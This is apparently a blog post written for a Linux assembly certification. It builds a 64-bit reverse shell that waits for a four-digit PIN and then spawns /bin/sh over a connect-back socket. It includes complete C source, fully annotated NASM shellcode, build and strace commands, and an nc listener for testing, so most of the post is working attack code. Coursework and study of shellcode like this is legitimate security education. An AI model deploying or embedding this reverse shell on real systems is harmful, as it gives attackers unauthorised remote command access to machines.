64-bit reverse shell with passphrase protection

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification. The task for 2/7 assignment is to create a 64-bit reverse shellcode with passphrase protection. If passphrase is entered correctly, only then the shell gets executed. All 0-bytes should be removed.

Student ID: SLAE64 - 1594

Reverse shellcode

The essence of a reverse shell is the opposite of bindshell. While bindshell is what remains listening on a port ready to establish a connection to the attacker, then reverse shell is what makes the call back home itself where the attacker is already listening on a specified port.

How does reverse shellcode look like in C?

I personally think writing a reverse shell is easier than writing a bind shell and as you can see referring back to my previous blog post SLAE exam task no. 1 that reverse shell is also visibly shorter to implement. We will not have to deal with accept(), listen() and bind() syscalls. Instead we only have 1 new syscall - connect() which we use to initiate a connection on a socket. The rest of the shellcode remains exactly the same as described in SLAE task 1.

/*
reverse TCP shell which establishes a connection back on port 4444, if the PIN code 1234 is submitted.
$ gcc reverse.c -o reverse
$ ./reverse
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>

int main()
{
	int sockfd;
	char buf[4];
	int result;

	struct sockaddr_in server;
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = INADDR_ANY;
	server.sin_port = htons(4444);
	bzero(&server.sin_zero, 8);

	char *const argv[] = {"/bin/sh", NULL};
	char *const envp[] = {NULL};

	//create a socket
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	//initiate a connection on a socket, on success 0 is returned
	connect(sockfd, (struct sockaddr *)&server, sizeof(server));
	dup2(sockfd, 0);
	dup2(sockfd, 1);
	dup2(sockfd, 2);

	write(sockfd, "PIN:", 4);
	read(sockfd, &buf, 4);

	result = strncmp("1234", buf, 4);
	if(result == 0)
	{
		execve("/bin/sh", argv, envp);
	}
	return 0;

}

connect() syscall

By the Linux Programmer’s Manual, connect() syscall takes 3 arguments: a file descriptor which refers to the socket we want to connect to, addr struct which specifies the address information (IP and port) and addrlen, the length of that address structure.

The socket we are going to be connecting to is of type AF_INET, which tells us we are dealing with an IPv4 address space. For IPv4 address space we need to specify AF_INET as the address family. We also specify with INADDR_ANY that we are making a connection to 0.0.0.0 and htons(4444) presents the port to connect to in network byte order. Finally we add 8 zero bytes by using bzero() function as per definition.

struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(4444);
bzero(&server.sin_zero, 8);

To implement connect() syscall successfully, the start address of the addr structure shold be specified as the 2nd argument (RSI). The third argument in turn should hold the length of the structure which we get when we add up the bytes of each of the structure members.

server.sin_family = 2 bytes
server.sin_addr.s_addr = 4 bytes
server.sin_port = 2 bytes
bzero(&server.sin_zero, 8) = 8 bytes

= total of 16 bytes

Assembly

Now that we have gotten familiary with the connect() syscall, let’s try to analyze and understand the assembly code which corresponds to the C code presented in the beginning of this blog post. I have decided to do it in 3 parts. First part is about how we use assembly to initiate the call back home, second part is what comes after we have established a connection and require the user to submit the correct PIN code. Based on the PIN code we can make a desicion whether to take the exit() syscall or jump to the 3rd part of the assembly code where we execute the actual shell via execve().

Part 1 - making a call home

First thing we are going to do is create a new socket by using the socket() syscall. It takes 3 parameters and by convention these go to RDI, RSI and RDX registers. RDI will hold the address family AF_INET. You can find the corresponding number to AF_INET with python oneliner python -c import socket; print socket.AF_INET'. Same goes for the SOCK_STREAM python -c 'import socket; print socket.SOCK_STREAM' which means we want the socket to be a TCP socket. At label socket: we are using the ADD instruction to load these values (AF_INET: 2, SOCKSTREAM: 1) to registers RDI and RSI. The 3rd argument simply needs to be 0, so we can use the XOR instruction, as something XOR-ed by itself is always zero.

On successful return socket() returns as a non-negative number which is a file descriptor. This return value by convention is saved into RAX and this is the reason why on the last 2 lines we are moving the value from RAX to RDI and then clearing the RAX value as each following syscall would otherwise overwrite and destroy the fd.

;reverseshell which connects back on port 4444 if the correct PIN code 1234 is submitted.

global _start:
section .text

_start:

socket:
	;sockfd = socket(AF_INET, SOCK_STREAM, 0);
	xor rdi, rdi
	mov rdx, rdi
	add rdi, 2
	xor rsi, rsi
	add rsi, 1

	xor rax, rax
	add rax, 41
	syscall

	;save the fd for other syscalls
	mov rdi, rax
	xor rax, rax

You can also make a simple test at this point to know if your assembly code is written correctly or not, by using the strace tool. You should see AF_INET, SOCK_STREAM and IPPROTO_IP as arguments and a non-negative file descriptor number after the equal sign.

$ nasm -felf64 reverse.nasm -o reverse.o
$ ld reverse.o -o reverse
$ strace ./reverse
execve("./reverse", ["./reverse"], 0x7ffd29c78350 /* 63 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3

Moving on to the connect() syscall. As described already in the bind shellcode post, struct members are layed out in memory contiguously, first member on the lowest and last member on the highest address. This is also the reason why we are pushing the 8 zero bytes to the stack first, 2 bytes for AF_INET the last and then adjust the stack pointer with sub rsp, 8 to point to the beginning of that structure in memory. By doing this we will have the start address of the structure in RSP which we can simply move to RSI for our 2nd argument. We already learned previously that RDX here will hold the size of our structure, which is 16 bytes (mov rdx, 16).


server_struct:
	push rax                         ;bzero(&server.sin_zero, 8)
	mov dword [rsp-4], eax           ;server.sin_addr.s_addr=IN_ADDR_ANY 4 bytes
	mov word [rsp-6], 0x5c11         ;server.sin_port= 4444 (0x115c) 2 bytes
	mov word [rsp-8], 0x2            ;server.sin_family=AF_INET, 2bytes
	sub rsp, 8                       ;adjusting the stack pointer to point to the start of the struct

connect:
	;connect(sockfd, (struct sockaddr *)&server, sizeof(server));
	mov rsi, rsp
	mov rdx, 16
	add rax, 42
	syscall

duplicate_sockets:
	;dup2(old,new)
	xor rsi, rsi
	xor rax, rax
	mov al, 33
	syscall

	mov sil, 1
	mov al, 33
	syscall

	mov sil, 2
	mov al, 33
	syscall

If the connection succeeds, connect() will return 0. Let’s validate that by using the strace tool on the shellcode. Open 2 terminal windows.

  1. run the command to listen on port 4444 to which our shellcode will try to connect to:
    nc -l 4444
    
  2. assemble, link and run the program with strace on 2nd window. You will see socket() syscall returning us a fd = 3 which is then the 1st argument for connect() syscall. Second argument is the addr structure and 3rd argument specifies 16 bytes as the length of our struct. We can validate that connect() returned successfully with return value 0.
$ nasm -felf64 reverse.nasm -o reverse.o
$ ld reverse.o -o reverse
$ strace ./reverse

execve("./reverse", ["./reverse"], 0x7ffc7f671540 /* 63 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2

Part 2 - enter the correct PIN code

In order to ask the user to enter the correct PIN code we have to specify the same file descriptor we used for connect() syscall also for the write() syscall as 1st argument (RDI). As we saved the fd to RDI earlier, we have already done that. For argument number 2 we need to provide an address where we have stored the string we want to display to the user “PIN:”. For that we should convert the string to hex, change the byte order as we are dealing with little-endian (python -c 'import binascii; binascii.hexlify("PIN:"[::-1])') and then push that value to the stack so we can move the stack address in RSP to RSI.

write:
	;ssize_t write(int fd, const void *buf, size_t count);

	xor rdx, rdx
	add rdx, 0x6

	xor rsi, rsi
	push rsi
	mov rsi, 0x3a4e4950
	push rsi
	mov rsi, rsp

	mov rax, 0x1
	syscall

In order to receive the PIN code from the user, we can use the read() syscall. To store the 4 digit PIN code we expect from the user, we need to allocate space for a 4 byte (sub rsp, 4) long buffer. The 2nd argument of read() syscall requires us to specify the buffer’s start address which we can do by moving the current value of RSP to RSI. Fir 3rd argument, we add the value 4 to RDX, as we expect 4 bytes of data from the user and nothing more.

;read:
	;ssize_t read(int fd, void *buf, size_t count);
	sub rsp, 4
	mov rsi, rsp

	xor rdx, rdx
	add rdx, 0x4

	xor rax, rax
	syscall

We have received the PIN code, so now we need to decide whether to exit the program or launch a shell. For that we can compare the user input byte by byte against predetermined values 0x31 - 1, 0x32 - 2, 0x33 - 3, 0x34 - 4. If all 4 digits match, we make a jump to execve (je execve). If that is not true, we just continue the execution flow to go through with the exit(0) syscall to terminate the program.

cmpinput:
	xor rbx, rbx
	mov bl, byte [rsp]
	xor rcx, rcx
	mov rcx, 0x31
	cmp rbx, rcx
	jne exit

	mov bl, byte [rsp+1]
	mov rcx, 0x32
	cmp rbx, rcx
	jne exit

	mov bl, byte [rsp+2]
	mov rcx, 0x33
        cmp rbx, rcx
        jne exit

	mov bl, byte [rsp+3]
	mov rcx, 0x34
        cmp rbx, rcx
        je execve

exit:
        xor rdi, rdi
        xor rax, rax
        add rax, 60
        syscall

Part 3 - execute shell via execve()

Let’s assume that the user has entered the correct PIN code and we have reached to the point where we need to execute the shell. execve() takes 3 arguments: the file we want to execute which for us is the /bin/sh, as we it is a pointer const char *filename we need RDI to contain the address on which we have stored the program name. This is the reason why we first move the string in hex to RBX, push on the top of the stack and then move the address to RDI.

Next we need to get the address of an array of string constants {"/bin/sh", NULL}; to RSI. For that we can just push the address we have at RDI to the top of the stack and move that stack address to RSI.

Third, we do not want to pass any environment variables, so we can make the 3rd argument just 0. So to finish it up, let’s check the execve() syscall number via ausyscall execve, read it to RAX and have a go on the last syscall for this task.

execve:
	;int execve(const char *filename, char *const argv[], char *const envp[]);
	xor rdi, rdi
	xor rax,rax
	push rax

	mov rbx, 0x68732f6e69622f
	push rbx
	mov rdi, rsp

	push rax
	mov rdx, rsp

	push rdi
	mov rsi, rsp

	add rax, 59
	syscall

There you have it! <3



© 2019. All rights reserved.

Powered by Hydejack v8.1.1